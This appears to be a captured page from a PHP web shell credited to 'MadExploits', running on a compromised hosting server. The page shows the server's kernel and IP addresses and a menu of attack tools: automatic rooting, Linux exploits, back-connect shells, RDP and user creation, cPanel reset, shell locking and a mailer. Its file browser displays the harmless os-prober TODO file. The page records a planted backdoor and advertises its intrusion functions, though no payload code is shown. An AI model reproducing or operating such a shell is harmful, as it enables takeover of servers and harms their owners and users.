Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.144.8.79
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
os-prober-1.58 /
[ HOME SHELL ]
Name
Size
Permission
Action
README
3.38
KB
-rw-r--r--
TODO
858
B
-rw-r--r--
changelog
30.43
KB
-rw-r--r--
copyright
474
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TODO
This thing needs a regression test suite. The grub linux-boot-probe has these limitations: - Does not handle grub present menus. - Does not support things like (hd0,1)/path/to/file although in the case of the kernel it will strip off the drive specification, and look for the file in the current partition. The lilo linux-boot-probe has these limitations: - Doesn't map from devfs to normal if the lilo.conf uses devfs names (valid?) linux-boot-prober: - Partition names in boot loader config may have changed during the debian install, so cannot be trusted. Fix up root= lines, etc. - To get to boot/, may need to parse fstab. But this can fail because as noted above, drive names may have changed! - Maybe do some probing before partitioning and store info? Or don't support adding partitions before existing /boot partitions.
Close
